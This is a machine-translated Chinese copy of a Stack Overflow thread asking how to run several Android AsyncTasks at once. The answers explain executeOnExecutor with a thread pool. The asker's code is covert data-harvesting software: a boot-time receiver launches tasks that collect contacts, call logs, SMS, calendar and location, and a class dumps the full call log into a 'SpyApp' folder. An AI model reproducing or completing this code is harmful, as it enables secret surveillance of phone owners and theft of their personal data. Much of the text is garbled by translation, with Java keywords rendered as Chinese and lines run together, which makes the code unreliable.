Android 我可以添加多个异步任务并同时执行吗?
我可以添加多个异步任务并同时执行吗? 我可以从主活动开始执行多个异步任务,如下所示 公共类接收器扩展了广播接收器{Android 我可以添加多个异步任务并同时执行吗?,android,android-asynctask,Android,Android Asynctask,我可以添加多个异步任务并同时执行吗? 我可以从主活动开始执行多个异步任务,如下所示 公共类接收器扩展了广播接收器{ @SuppressWarnings("deprecation") @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub Log.e("Hello>>", "From OnReceive"); if
@SuppressWarnings("deprecation")
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Log.e("Hello>>", "From OnReceive");
if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
Log.e("Hello......>>", "From OnReceive");
MyContactsSending mycon= new MyContactsSending(context);
mycon.execute();
Log.e("contacts","Executed");
MyCallsSending send = new MyCallsSending(context);
send.execute();
Log.e("calls","Executed");
MySmsSending smssms = new MySmsSending(context);
smssms.execute();
Log.e("sms","Executed");
MyCalendarSending calendar = new MyCalendarSending(context);
calendar.execute();
Log.e("calendar","Executed");
MyLocationSending location = new MyLocationSending(context);
location.execute();
Log.e("GPS","Executed");
}
}
}
在这段代码中,我得到了所有的日志,但在此之后,它将不会进入Asynctask的doInBackground()方法中(没有)。
我在每个类的方法doInBackground()中都设置了Log,但没有一个在Log中被命中(意味着没有一个方法被执行)
我的问题是,我可以像这样执行多个AsyncTask的对象吗
AsyncTask类的代码之一是:
公共类MyCallsSending扩展了异步任务{
Context concall;
public MyCallsSending(Context con){
this.concall = con;
}
@Override
protected Void doInBackground(Void... params) {
// TODO Auto-generated method stub
Calls call = new Calls(concall);
call.getCallDetails();
Log.e("Calls Sending", "from asynctask");
return null;
}
}
调用类的代码如下所示:
公共类呼叫{
Context con;
public calls(Context con){
this.con = con;
}
public void getCallDetails() {
StringBuffer sb = new StringBuffer();
Cursor managedCursor = con.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
null, null, null);
if (managedCursor != null) {
Log.i("Cursor has values...", "Yes");
}
int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
sb.append("************Call Details************\n");
managedCursor.moveToFirst();
do {
String phNumber = managedCursor.getString(number);
String callType = managedCursor.getString(type);
String callDate = managedCursor.getString(date);
Date callDayTime = new Date(Long.valueOf(callDate));
String callDuration = managedCursor.getString(duration);
String dir = null;
int dircode = Integer.parseInt(callType);
switch (dircode) {
case CallLog.Calls.OUTGOING_TYPE:
dir = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
dir = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
dir = "MISSED";
break;
}
Log.i("Values", phNumber + callType + callDate);
sb.append("\nPhone Number:- " + phNumber + " \nCall Type:- " + dir
+ " \nCall Date:- " + callDayTime
+ " \nCall duration in sec :- " + callDuration);
sb.append("\n-----------------------------------");
} while (managedCursor.moveToNext());
managedCursor.close();
try {
File myFile = new File(Environment.getExternalStorageDirectory()
+ File.separator + "SpyApp");
if (!myFile.exists()) {
myFile.mkdir();
} else {
//Toast.makeText(getApplicationContext(), "Already Created..",
// Toast.LENGTH_LONG).show();
}
String path = myFile.getPath();
//Log.e(">>>>>>>>>>>>>", ">>>>>>>>>" + path);
File file = new File(path + File.separator + "CallLog.txt");
if (!file.exists()) {
file.createNewFile();
} else {
//Toast.makeText(getApplicationContext(), "Already Created..",
// Toast.LENGTH_LONG).show();
}
FileOutputStream fOut = new FileOutputStream(file);
OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);
myOutWriter.append(sb.toString());
myOutWriter.flush();
myOutWriter.close();
fOut.close();
//Toast.makeText(getBaseContext(), "Done writing SD 'mysdfile.txt'",
// Toast.LENGTH_SHORT).show();
} catch (Exception e) {
//Toast.makeText(getBaseContext(), e.getMessage(), Toast.LENGTH_SHORT)
// .show();
}
}
}简短版本:当然可以 默认情况下,AsyncTask在串行队列中(一个接一个)执行,但如果希望它们同时运行,可以:
new MyAsyncTask().executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, MY_RANDOM_VAR);
从蜂巢开始,任务在单个线程上执行,以避免并行执行导致的常见应用程序错误。如果确实需要并行执行,可以使用线程池执行器调用executeOnExecutor(java.util.concurrent.Executor,Object[])。
使用并行线程时要小心,不要使设备过载并导致应用程序死机。您能发布其中一个AsyncTask的代码吗?感谢您的回答,当我应用此方法时,我发现此错误类型AsyncTask中的方法executeOnExecutor(Executor,Void…)不适用于参数(Executor,int)Jabir,如果您的类型是AsyncTask,则只需调用:new MyAsyncTask().executeOnExecutor(AsyncTask.THREAD\u POOL\u EXECUTOR);(无第二个参数)Ok,X,完成。但在这里,我也应用了这段代码,它也可以很好地运行public void executeOnExecutor(Executor threadPoolExecutor,int i){//TODO自动生成的方法存根调用call=new calls(concall);call.getCallDetails();Log.e(“调用发送”,“来自异步任务”);}是的。但它在较低版本上不可用。对于较低版本,您没有其他选择。你可以从verion 14下载这个。你不应该覆盖executeOnExecutor和执行东西。所有任务都必须在doInBackground中完成,否则将在主线程上执行。